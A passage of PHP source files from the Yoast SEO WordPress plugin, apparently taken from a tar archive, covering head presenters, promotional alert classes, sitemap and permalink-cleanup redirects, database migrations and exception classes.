		if ( \is_null( $this->$rel ) ) {
			return $link;
		}

		$processor = new WP_HTML_Tag_Processor( $this->$rel );

		if ( ! $processor->next_tag( [ 'tag_name' => 'a' ] ) ) {
			return $link;
		}

		$href = $processor->get_attribute( 'href' );

		if ( ! $href ) {
			return $link;
		}

		// Safety check for full url, not expected.
		if ( \strpos( $href, 'http' ) === 0 ) {
			return $href;
		}

		// Check if $href is relative and append last part of the url to permalink.
		if ( \strpos( $href, '/' ) === 0 ) {
			$href_parts = \explode( '/', $href );
			return $presentation->permalink . \end( $href_parts );
		}

		return $link;
	}

	/**
	 * Filters our robots presenter, but only when wp_robots is attached to the wp_head action.
	 *
	 * @param array<string> $presenters The presenters for current page.
	 *
	 * @return array<string> The filtered presenters.
	 */
	public function filter_robots_presenter( $presenters ) {
		if ( ! \function_exists( 'wp_robots' ) ) {
			return $presenters;
		}

		if ( ! \has_action( 'wp_head', 'wp_robots' ) ) {
			return $presenters;
		}

		if ( \wp_is_serving_rest_request() ) {
			return $presenters;
		}

		return \array_diff( $presenters, [ 'Yoast\\WP\\SEO\\Presenters\\Robots_Presenter' ] );
	}

	/**
	 * Presents the head in the front-end. Resets wp_query if it's not the main query.
	 *
	 * @codeCoverageIgnore It just calls a WordPress function.
	 *
	 * @return void
	 */
	public function call_wpseo_head() {
		global $wp_query;

		$old_wp_query = $wp_query;
		// phpcs:ignore WordPress.WP.DiscouragedFunctions.wp_reset_query_wp_reset_query -- Reason: The recommended function, wp_reset_postdata, doesn't reset wp_query.
		\wp_reset_query();

		\do_action( 'wpseo_head' );

		// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- Reason: we have to restore the query.
		$GLOBALS['wp_query'] = $old_wp_query;
	}

	/**
	 * Echoes all applicable presenters for a page.
	 *
	 * @return void
	 */
	public function present_head() {
		$context    = $this->context_memoizer->for_current_page();
		$presenters = $this->get_presenters( $context->page_type, $context );

		/**
		 * Filter 'wpseo_frontend_presentation' - Allow filtering the presentation used to output our meta values.
		 *
		 * @param Indexable_Presention $presentation The indexable presentation.
		 * @param Meta_Tags_Context    $context      The meta tags context for the current page.
		 */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );

		echo \PHP_EOL;
		foreach ( $presenters as $presenter ) {
			$presenter->presentation = $presentation;
			$presenter->helpers      = $this->helpers;
			$presenter->replace_vars = $this->replace_vars;

			$output = $presenter->present();
			if ( ! empty( $output ) ) {
				// phpcs:ignore WordPress.Security.EscapeOutput -- Presenters are responsible for correctly escaping their output.
				echo "\t" . $output . \PHP_EOL;
			}
		}
		echo \PHP_EOL . \PHP_EOL;
	}

	/**
	 * Returns all presenters for this page.
	 *
	 * @param string                 $page_type The page type.
	 * @param Meta_Tags_Context|null $context   The meta tags context for the current page.
	 *
	 * @return Abstract_Indexable_Presenter[] The presenters.
	 */
	public function get_presenters( $page_type, $context = null ) {
		if ( \is_null( $context ) ) {
			$context = $this->context_memoizer->for_current_page();
		}

		$needed_presenters = $this->get_needed_presenters( $page_type );

		$callback   = static function ( $presenter ) {
			if ( ! \class_exists( $presenter ) ) {
				return null;
			}
			return new $presenter();
		};
		$presenters = \array_filter( \array_map( $callback, $needed_presenters ) );

		/**
		 * Filter 'wpseo_frontend_presenters' - Allow filtering the presenter instances in or out of the request.
		 *
		 * @param Abstract_Indexable_Presenter[] $presenters List of presenter instances.
		 * @param Meta_Tags_Context              $context    The meta tags context for the current page.
		 */
		$presenter_instances = \apply_filters( 'wpseo_frontend_presenters', $presenters, $context );

		if ( ! \is_array( $presenter_instances ) ) {
			$presenter_instances = $presenters;
		}

		$is_presenter_callback = static function ( $presenter_instance ) {
			return $presenter_instance instanceof Abstract_Indexable_Presenter;
		};
		$presenter_instances   = \array_filter( $presenter_instances, $is_presenter_callback );

		return \array_merge(
			[ new Marker_Open_Presenter() ],
			$presenter_instances,
			[ new Marker_Close_Presenter() ]
		);
	}

	/**
	 * Generate the array of presenters we need for the current request.
	 *
	 * @param string $page_type The page type we're retrieving presenters for.
	 *
	 * @return string[] The presenters.
	 */
	private function get_needed_presenters( $page_type ) {
		$presenters = $this->get_presenters_for_page_type( $page_type );

		$presenters = $this->maybe_remove_title_presenter( $presenters );

		$callback   = static function ( $presenter ) {
			return "Yoast\WP\SEO\Presenters\\{$presenter}_Presenter";
		};
		$presenters = \array_map( $callback, $presenters );

		/**
		 * Filter 'wpseo_frontend_presenter_classes' - Allow filtering presenters in or out of the request.
		 *
		 * @param array  $presenters List of presenters.
		 * @param string $page_type  The current page type.
		 */
		$presenters = \apply_filters( 'wpseo_frontend_presenter_classes', $presenters, $page_type );

		return $presenters;
	}

	/**
	 * Filters the presenters based on the page type.
	 *
	 * @param string $page_type The page type.
	 *
	 * @return string[] The presenters.
	 */
	private function get_presenters_for_page_type( $page_type ) {
		if ( $page_type === 'Error_Page' ) {
			$presenters = $this->base_presenters;
			if ( $this->options->get( 'opengraph' ) === true ) {
				$presenters = \array_merge( $presenters, $this->open_graph_error_presenters );
			}
			return \array_merge( $presenters, $this->closing_presenters );
		}

		$presenters = $this->get_all_presenters();
		if ( \in_array( $page_type, [ 'Static_Home_Page', 'Home_Page' ], true ) ) {
			$presenters = \array_merge( $presenters, $this->webmaster_verification_presenters );
		}

		// Filter out the presenters only needed for singular pages on non-singular pages.
		if ( ! \in_array( $page_type, [ 'Post_Type', 'Static_Home_Page' ], true ) ) {
			$presenters = \array_diff( $presenters, $this->singular_presenters );
		}

		// Filter out `twitter:data` presenters for static home pages.
		if ( $page_type === 'Static_Home_Page' ) {
			$presenters = \array_diff( $presenters, $this->slack_presenters );
		}

		return $presenters;
	}

	/**
	 * Returns a list of all available presenters based on settings.
	 *
	 * @return string[] The presenters.
	 */
	private function get_all_presenters() {
		$presenters = \array_merge( $this->base_presenters, $this->indexing_directive_presenters );
		if ( $this->options->get( 'opengraph' ) === true ) {
			$presenters = \array_merge( $presenters, $this->open_graph_presenters );
		}
		if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) {
			$presenters = \array_merge( $presenters, $this->twitter_card_presenters );
		}
		if ( $this->options->get( 'enable_enhanced_slack_sharing' ) === true && \apply_filters( 'wpseo_output_enhanced_slack_data', true ) !== false ) {
			$presenters = \array_merge( $presenters, $this->slack_presenters );
		}

		return \array_merge( $presenters, $this->closing_presenters );
	}

	/**
	 * Whether the title presenter should be removed.
	 *
	 * @return bool True when the title presenter should be removed, false otherwise.
	 */
	public function should_title_presenter_be_removed() {
		return ! \get_theme_support( 'title-tag' ) && ! $this->options->get( 'forcerewritetitle', false );
	}

	/**
	 * Checks if the Title presenter needs to be removed.
	 *
	 * @param string[] $presenters The presenters.
	 *
	 * @return string[] The presenters.
	 */
	private function maybe_remove_title_presenter( $presenters ) {
		// Do not remove the title if we're on a REST request.
		if ( \wp_is_serving_rest_request() ) {
			return $presenters;
		}

		// Remove the title presenter if the theme is hardcoded to output a title tag so we don't have two title tags.
		if ( $this->should_title_presenter_be_removed() ) {
			$presenters = \array_diff( $presenters, [ 'Title' ] );
		}

		return $presenters;
	}
}
wordpress-seo/src/integrations/alerts/black-friday-sidebar-checklist-notification.php000064400000000504147510273100025251 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Black_Friday_Promo_Notification class.
 */
class Black_Friday_Sidebar_Checklist_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'black-friday-2023-sidebar-checklist';
}
wordpress-seo/src/integrations/alerts/trustpilot-review-notification.php000064400000000461147510273100023075 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Trustpilot_Review_Notification class.
 */
class Trustpilot_Review_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'trustpilot-review-notification';
}
wordpress-seo/src/integrations/alerts/abstract-dismissable-alert.php000064400000001645147510273100022073 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Dismissable_Alert class.
 */
abstract class Abstract_Dismissable_Alert implements Integration_Interface {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_allowed_dismissable_alerts', [ $this, 'register_dismissable_alert' ] );
	}

	/**
	 * Registers the dismissable alert.
	 *
	 * @param string[] $allowed_dismissable_alerts The allowed dismissable alerts.
	 *
	 * @return string[] The allowed dismissable alerts.
	 */
	public function register_dismissable_alert( $allowed_dismissable_alerts ) {
		$allowed_dismissable_alerts[] = $this->alert_identifier;

		return $allowed_dismissable_alerts;
	}
}
wordpress-seo/src/integrations/alerts/black-friday-promotion-notification.php000064400000000470147510273100023721 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Black_Friday_Promotion_Notification class.
 */
class Black_Friday_Promotion_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'black-friday-2024-promotion';
}
wordpress-seo/src/integrations/alerts/webinar-promo-notification.php000064400000000445147510273100022130 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Webinar_Promo_Notification class.
 */
class Webinar_Promo_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'webinar-promo-notification';
}
wordpress-seo/src/integrations/alerts/black-friday-product-editor-checklist-notification.php000064400000000653147510273100026611 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Alerts;

/**
 * Black_Friday_Product_Editor_Checklist_Notification class.
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
 */
class Black_Friday_Product_Editor_Checklist_Notification extends Abstract_Dismissable_Alert {

	/**
	 * Holds the alert identifier.
	 *
	 * @var string
	 */
	protected $alert_identifier = 'black-friday-2023-product-editor-checklist';
}
wordpress-seo/src/initializers/disable-core-sitemaps.php000064400000005571147510273100017552 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Redirect_Helper;

/**
 * Disables the WP core sitemaps.
 */
class Disable_Core_Sitemaps implements Initializer_Interface {

	use No_Conditionals;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The redirect helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect;

	/**
	 * Sitemaps_Enabled_Conditional constructor.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Options_Helper  $options  The options helper.
	 * @param Redirect_Helper $redirect The redirect helper.
	 */
	public function __construct( Options_Helper $options, Redirect_Helper $redirect ) {
		$this->options  = $options;
		$this->redirect = $redirect;
	}

	/**
	 * Disable the WP core XML sitemaps.
	 *
	 * @return void
	 */
	public function initialize() {
		// This needs to be on priority 15 as that is after our options initialize.
		\add_action( 'plugins_loaded', [ $this, 'maybe_disable_core_sitemaps' ], 15 );
	}

	/**
	 * Disables the core sitemaps if Yoast SEO sitemaps are enabled.
	 *
	 * @return void
	 */
	public function maybe_disable_core_sitemaps() {
		if ( $this->options->get( 'enable_xml_sitemap' ) ) {
			\add_filter( 'wp_sitemaps_enabled', '__return_false' );

			\add_action( 'template_redirect', [ $this, 'template_redirect' ], 0 );
		}
	}

	/**
	 * Redirects requests to the WordPress sitemap to the Yoast sitemap.
	 *
	 * @return void
	 */
	public function template_redirect() {
		// If there is no path, nothing to do.
		if ( empty( $_SERVER['REQUEST_URI'] ) ) {
			return;
		}
		$path = \sanitize_text_field( \wp_unslash( $_SERVER['REQUEST_URI'] ) );

		// If it's not a wp-sitemap request, nothing to do.
		if ( \substr( $path, 0, 11 ) !== '/wp-sitemap' ) {
			return;
		}

		$redirect = $this->get_redirect_url( $path );

		if ( ! $redirect ) {
			return;
		}

		$this->redirect->do_safe_redirect( \home_url( $redirect ), 301 );
	}

	/**
	 * Returns the relative sitemap URL to redirect to.
	 *
	 * @param string $path The original path.
	 *
	 * @return string|false The path to redirct to. False if no redirect should be done.
	 */
	private function get_redirect_url( $path ) {
		// Start with the simple string comparison so we avoid doing unnecessary regexes.
		if ( $path === '/wp-sitemap.xml' ) {
			return '/sitemap_index.xml';
		}

		if ( \preg_match( '/^\/wp-sitemap-(posts|taxonomies)-(\w+)-(\d+)\.xml$/', $path, $matches ) ) {
			$index = ( (int) $matches[3] - 1 );
			$index = ( $index === 0 ) ? '' : (string) $index;

			return '/' . $matches[2] . '-sitemap' . $index . '.xml';
		}

		if ( \preg_match( '/^\/wp-sitemap-users-(\d+)\.xml$/', $path, $matches ) ) {
			$index = ( (int) $matches[1] - 1 );
			$index = ( $index === 0 ) ? '' : (string) $index;

			return '/author-sitemap' . $index . '.xml';
		}

		return false;
	}
}
wordpress-seo/src/initializers/migration-runner.php000064400000010156147510273100016671 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Exception;
use Yoast\WP\Lib\Migrations\Adapter;
use Yoast\WP\Lib\Migrations\Migration;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Config\Migration_Status;
use Yoast\WP\SEO\Loader;

/**
 * Triggers database migrations and handles results.
 */
class Migration_Runner implements Initializer_Interface {

	use No_Conditionals;

	/**
	 * The migrations adapter.
	 *
	 * @var Adapter
	 */
	protected $adapter;

	/**
	 * The loader.
	 *
	 * @var Loader
	 */
	protected $loader;

	/**
	 * The migration status.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * Retrieves the conditionals for the migrations.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Migrations constructor.
	 *
	 * @param Migration_Status $migration_status The migration status.
	 * @param Loader           $loader           The loader.
	 * @param Adapter          $adapter          The migrations adapter.
	 */
	public function __construct(
		Migration_Status $migration_status,
		Loader $loader,
		Adapter $adapter
	) {
		$this->migration_status = $migration_status;
		$this->loader           = $loader;
		$this->adapter          = $adapter;
	}

	/**
	 * Runs this initializer.
	 *
	 * @return void
	 *
	 * @throws Exception When a migration errored.
	 */
	public function initialize() {
		$this->run_free_migrations();
		// The below actions is used for when queries fail, this may happen in a multisite environment when switch_to_blog is used.
		\add_action( '_yoast_run_migrations', [ $this, 'run_free_migrations' ] );
	}

	/**
	 * Runs the free migrations.
	 *
	 * @return void
	 *
	 * @throws Exception When a migration errored.
	 */
	public function run_free_migrations() {
		$this->run_migrations( 'free' );
	}

	/**
	 * Initializes the migrations.
	 *
	 * @param string $name    The name of the migration.
	 * @param string $version The current version.
	 *
	 * @return bool True on success, false on failure.
	 *
	 * @throws Exception If the migration fails and YOAST_ENVIRONMENT is not production.
	 */
	public function run_migrations( $name, $version = \WPSEO_VERSION ) {
		if ( ! $this->migration_status->should_run_migration( $name, $version ) ) {
			return true;
		}

		if ( ! $this->migration_status->lock_migration( $name ) ) {
			return false;
		}

		$migrations = $this->loader->get_migrations( $name );

		if ( $migrations === false ) {
			$this->migration_status->set_error( $name, "Could not perform $name migrations. No migrations found.", $version );
			return false;
		}

		try {
			$this->adapter->create_schema_version_table();
			$all_versions      = \array_keys( $migrations );
			$migrated_versions = $this->adapter->get_migrated_versions();
			$to_do_versions    = \array_diff( $all_versions, $migrated_versions );

			\sort( $to_do_versions, \SORT_STRING );

			foreach ( $to_do_versions as $to_do_version ) {
				$class = $migrations[ $to_do_version ];
				$this->run_migration( $to_do_version, $class );
			}
		} catch ( Exception $exception ) {
			// Something went wrong...
			$this->migration_status->set_error( $name, $exception->getMessage(), $version );

			if ( \defined( 'YOAST_ENVIRONMENT' ) && \YOAST_ENVIRONMENT !== 'production' ) {
				throw $exception;
			}

			return false;
		}

		$this->migration_status->set_success( $name, $version );

		return true;
	}

	/**
	 * Runs a single migration.
	 *
	 * @param string $version         The version.
	 * @param string $migration_class The migration class.
	 *
	 * @return void
	 *
	 * @throws Exception If the migration failed. Caught by the run_migrations function.
	 */
	protected function run_migration( $version, $migration_class ) {
		/**
		 * The migration to run.
		 *
		 * @var Migration
		 */
		$migration = new $migration_class( $this->adapter );
		try {
			$this->adapter->start_transaction();
			$migration->up();
			$this->adapter->add_version( $version );
			$this->adapter->commit_transaction();
		} catch ( Exception $e ) {
			$this->adapter->rollback_transaction();
			throw new Exception( \sprintf( '%s - %s', $migration_class, $e->getMessage() ), 0, $e );
		}
	}
}
wordpress-seo/src/initializers/plugin-headers.php000064400000001344147510273100016277 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Yoast\WP\SEO\Conditionals\No_Conditionals;

/**
 * Adds custom headers to the list of plugin headers to read.
 */
class Plugin_Headers implements Initializer_Interface {

	use No_Conditionals;

	/**
	 * Hooks into the list of the plugin headers.
	 *
	 * @return void
	 */
	public function initialize() {
		\add_filter( 'extra_plugin_headers', [ $this, 'add_requires_yoast_seo_header' ] );
	}

	/**
	 * Add the `Requires Yoast SEO` header to the list of headers.
	 *
	 * @param array<string> $headers The headers.
	 *
	 * @return array<string> The updated headers.
	 */
	public function add_requires_yoast_seo_header( $headers ) {
		$headers[] = 'Requires Yoast SEO';
		return $headers;
	}
}
wordpress-seo/src/initializers/crawl-cleanup-permalinks.php000064400000012623147510273100020272 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Crawl_Cleanup_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;

/**
 * Class Crawl_Cleanup_Permalinks.
 */
class Crawl_Cleanup_Permalinks implements Initializer_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url_helper;

	/**
	 * The Redirect_Helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect_helper;

	/**
	 * The Crawl_Cleanup_Helper.
	 *
	 * @var Crawl_Cleanup_Helper
	 */
	private $crawl_cleanup_helper;

	/**
	 * Crawl Cleanup Basic integration constructor.
	 *
	 * @param Options_Helper       $options_helper       The option helper.
	 * @param Url_Helper           $url_helper           The URL helper.
	 * @param Redirect_Helper      $redirect_helper      The Redirect Helper.
	 * @param Crawl_Cleanup_Helper $crawl_cleanup_helper The Crawl_Cleanup_Helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Url_Helper $url_helper,
		Redirect_Helper $redirect_helper,
		Crawl_Cleanup_Helper $crawl_cleanup_helper
	) {
		$this->options_helper       = $options_helper;
		$this->url_helper           = $url_helper;
		$this->redirect_helper      = $redirect_helper;
		$this->crawl_cleanup_helper = $crawl_cleanup_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function initialize() {
		// We need to hook after 10 because otherwise our options helper isn't available yet.
		\add_action( 'plugins_loaded', [ $this, 'register_hooks' ], 15 );
	}

	/**
	 * Hooks our required hooks.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options_helper->get( 'clean_campaign_tracking_urls' ) && ! empty( \get_option( 'permalink_structure' ) ) ) {
			\add_action( 'template_redirect', [ $this, 'utm_redirect' ], 0 );
		}
		if ( $this->options_helper->get( 'clean_permalinks' ) && ! empty( \get_option( 'permalink_structure' ) ) ) {
			\add_action( 'template_redirect', [ $this, 'clean_permalinks' ], 1 );
		}
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Redirect utm variables away.
	 *
	 * @return void
	 */
	public function utm_redirect() {
		// Prevents WP CLI from throwing an error.
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
		if ( ! isset( $_SERVER['REQUEST_URI'] ) || \strpos( $_SERVER['REQUEST_URI'], '?' ) === false ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
		if ( ! \stripos( $_SERVER['REQUEST_URI'], 'utm_' ) ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
		$parsed = \wp_parse_url( $_SERVER['REQUEST_URI'] );

		$query      = \explode( '&', $parsed['query'] );
		$utms       = [];
		$other_args = [];

		foreach ( $query as $query_arg ) {
			if ( \stripos( $query_arg, 'utm_' ) === 0 ) {
				$utms[] = $query_arg;
				continue;
			}
			$other_args[] = $query_arg;
		}

		if ( empty( $utms ) ) {
			return;
		}

		$other_args_str = '';
		if ( \count( $other_args ) > 0 ) {
			$other_args_str = '?' . \implode( '&', $other_args );
		}

		$new_path = $parsed['path'] . $other_args_str . '#' . \implode( '&', $utms );

		$message = \sprintf(
			/* translators: %1$s: Yoast SEO */
			\__( '%1$s: redirect utm variables to #', 'wordpress-seo' ),
			'Yoast SEO'
		);

		$this->redirect_helper->do_safe_redirect( \trailingslashit( $this->url_helper->recreate_current_url( false ) ) . \ltrim( $new_path, '/' ), 301, $message );
	}

	/**
	 * Removes unneeded query variables from the URL.
	 *
	 * @return void
	 */
	public function clean_permalinks() {

		if ( $this->crawl_cleanup_helper->should_avoid_redirect() ) {
			return;
		}

		$current_url    = $this->url_helper->recreate_current_url();
		$allowed_params = $this->crawl_cleanup_helper->allowed_params( $current_url );

		// If we had only allowed params, let's just bail out, no further processing needed.
		if ( empty( $allowed_params['query'] ) ) {
			return;
		}

		$url_type = $this->crawl_cleanup_helper->get_url_type();

		switch ( $url_type ) {
			case 'singular_url':
				$proper_url = $this->crawl_cleanup_helper->singular_url();
				break;
			case 'front_page_url':
				$proper_url = $this->crawl_cleanup_helper->front_page_url();
				break;
			case 'page_for_posts_url':
				$proper_url = $this->crawl_cleanup_helper->page_for_posts_url();
				break;
			case 'taxonomy_url':
				$proper_url = $this->crawl_cleanup_helper->taxonomy_url();
				break;
			case 'search_url':
				$proper_url = $this->crawl_cleanup_helper->search_url();
				break;
			case 'page_not_found_url':
				$proper_url = $this->crawl_cleanup_helper->page_not_found_url( $current_url );
				break;
			default:
				$proper_url = '';
		}

		if ( $this->crawl_cleanup_helper->is_query_var_page( $proper_url ) ) {
			$proper_url = $this->crawl_cleanup_helper->query_var_page_url( $proper_url );
		}

		$proper_url = \add_query_arg( $allowed_params['allowed_query'], $proper_url );

		if ( empty( $proper_url ) || $current_url === $proper_url ) {
			return;
		}

		$this->crawl_cleanup_helper->do_clean_redirect( $proper_url );
	}
}
wordpress-seo/src/initializers/initializer-interface.php000064400000000531147510273100017646 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Yoast\WP\SEO\Loadable_Interface;

/**
 * Integration interface definition.
 *
 * An interface for registering integrations with WordPress.
 */
interface Initializer_Interface extends Loadable_Interface {

	/**
	 * Runs this initializer.
	 *
	 * @return void
	 */
	public function initialize();
}
wordpress-seo/src/initializers/woocommerce.php000064400000001417147510273100015710 0ustar00<?php

namespace Yoast\WP\SEO\Initializers;

use Automattic\WooCommerce\Utilities\FeaturesUtil;
use Yoast\WP\SEO\Conditionals\No_Conditionals;

/**
 * Declares compatibility with the WooCommerce HPOS feature.
 */
class Woocommerce implements Initializer_Interface {

	use No_Conditionals;

	/**
	 * Hooks into WooCommerce.
	 *
	 * @return void
	 */
	public function initialize() {
			\add_action( 'before_woocommerce_init', [ $this, 'declare_custom_order_tables_compatibility' ] );
	}

	/**
	 * Declares compatibility with the WooCommerce HPOS feature.
	 *
	 * @return void
	 */
	public function declare_custom_order_tables_compatibility() {
		if ( \class_exists( FeaturesUtil::class ) ) {
			FeaturesUtil::declare_compatibility( 'custom_order_tables', \WPSEO_FILE, true );
		}
	}
}
wordpress-seo/src/exceptions/importing/aioseo-validation-exception.php000064400000000653147510273100022460 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Importing;

use Exception;

/**
 * Class Aioseo_Validation_Exception
 */
class Aioseo_Validation_Exception extends Exception {

	/**
	 * Exception that is thrown whenever validation of the
	 * AIOSEO data structure has failed.
	 */
	public function __construct() {
		parent::__construct( \esc_html__( 'The validation of the AIOSEO data structure has failed.', 'wordpress-seo' ) );
	}
}
wordpress-seo/src/exceptions/forbidden-property-mutation-exception.php000064400000002232147510273100022510 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions;

use RuntimeException;

/**
 * Exception for attempting a mutation on properties that are made readonly through magic getters and setters.
 */
class Forbidden_Property_Mutation_Exception extends RuntimeException {

	/**
	 * Creates a Forbidden_Property_Mutation_Exception exception when an attempt is made
	 * to assign a value to an immutable property.
	 *
	 * @param string $property_name The name of the immutable property.
	 *
	 * @return Forbidden_Property_Mutation_Exception The exception.
	 */
	public static function cannot_set_because_property_is_immutable( $property_name ) {
		return new self( \sprintf( 'Setting property $%s is not supported.', $property_name ) );
	}

	/**
	 * Creates a Forbidden_Property_Mutation_Exception exception when an attempt is made to unset an immutable property.
	 *
	 * @param string $property_name The name of the immutable property.
	 *
	 * @return Forbidden_Property_Mutation_Exception The exception.
	 */
	public static function cannot_unset_because_property_is_immutable( $property_name ) {
		return new self( \sprintf( 'Unsetting property $%s is not supported.', $property_name ) );
	}
}
wordpress-seo/src/exceptions/addon-installation/user-cannot-install-plugins-exception.php000064400000000306147510273100026201 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Addon_Installation;

use Exception;

/**
 * Class User_Cannot_Install_Plugins_Exception
 */
class User_Cannot_Install_Plugins_Exception extends Exception {}
wordpress-seo/src/exceptions/addon-installation/addon-installation-error-exception.php000064400000000266147510273100025540 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Addon_Installation;

use Exception;

/**
 * Class Addon_Installation_Error
 */
class Addon_Installation_Error_Exception extends Exception {}
wordpress-seo/src/exceptions/addon-installation/user-cannot-activate-plugins-exception.php000064400000000276147510273100026341 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Addon_Installation;

use Exception;

/**
 * Class User_Cannot_Activate_Plugins
 */
class User_Cannot_Activate_Plugins_Exception extends Exception {}
wordpress-seo/src/exceptions/addon-installation/addon-activation-error-exception.php000064400000000274147510273100025177 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Addon_Installation;

use Exception;

/**
 * Class Addon_Activation_Error_Exception
 */
class Addon_Activation_Error_Exception extends Exception {}
wordpress-seo/src/exceptions/addon-installation/addon-already-installed-exception.php000064400000000276147510273100025307 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Addon_Installation;

use Exception;

/**
 * Class Addon_Already_Installed_Exception
 */
class Addon_Already_Installed_Exception extends Exception {}
wordpress-seo/src/exceptions/oauth/tokens/empty-token-exception.php000064400000000474147510273100021741 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\OAuth\Tokens;

use Exception;

/**
 * Class Empty_Token_Exception
 */
class Empty_Token_Exception extends Exception {

	/**
	 * Empty_Token_Exception constructor.
	 */
	public function __construct() {
		parent::__construct( 'Token usage failed. Token is empty.', 400 );
	}
}
wordpress-seo/src/exceptions/oauth/tokens/failed-storage-exception.php000064400000001116147510273100022345 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\OAuth\Tokens;

use Exception;

/**
 * Class Failed_Storage_Exception
 */
class Failed_Storage_Exception extends Exception {

	public const DEFAULT_MESSAGE = 'Token storing failed. Please try again.';

	/**
	 * Failed_Storage_Exception constructor.
	 *
	 * @param string $reason The reason why token storage failed. Optional.
	 */
	public function __construct( $reason = '' ) {
		$message = ( $reason ) ? \sprintf( 'Token storing failed. Reason: %s. Please try again', $reason ) : self::DEFAULT_MESSAGE;

		parent::__construct( $message, 500 );
	}
}
wordpress-seo/src/exceptions/oauth/tokens/empty-property-exception.php000064400000000665147510273100022507 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\OAuth\Tokens;

use Exception;

/**
 * Class Empty_Property_Exception
 */
class Empty_Property_Exception extends Exception {

	/**
	 * Empty_Property_Exception constructor.
	 *
	 * @param string $property The property that is empty.
	 */
	public function __construct( $property ) {
		parent::__construct( \sprintf( 'Token creation failed. Property `%s` cannot be empty.', $property ), 400 );
	}
}
wordpress-seo/src/exceptions/oauth/authentication-failed-exception.php000064400000001340147510273100022414 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\OAuth;

use Exception;

/**
 * Class Authentication_Failed_Exception
 */
class Authentication_Failed_Exception extends Exception {

	/**
	 * Authentication_Failed_Exception constructor.
	 *
	 * @param Exception $original_exception The original exception.
	 */
	public function __construct( Exception $original_exception ) {
		parent::__construct( 'Authentication failed', 401, $original_exception );
	}

	/**
	 * Returns a formatted response object.
	 *
	 * @return object The response object.
	 */
	public function get_response() {
		return (object) [
			'tokens' => [],
			'error'  => $this->getMessage() . ': ' . $this->getPrevious()->getMessage(),
			'status' => $this->getCode(),
		];
	}
}
wordpress-seo/src/exceptions/indexable/post-type-not-built-exception.php000064400000001232147510273100022645 0ustar00<?php

namespace Yoast\WP\SEO\Exceptions\Indexable;

/**
 * Exception that is thrown whenever a post type could not be built
 * in the context of the indexables.
 */
class Post_Type_Not_Built_Exception extends Not_Built_Exception {

	/**
	 * Throws an exception if the post is not indexable.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return Post_Type_Not_Built_Exception
	 */
	public static function because_not_indexable( $post_type ) {
		/* translators: %s: expands to the post type */
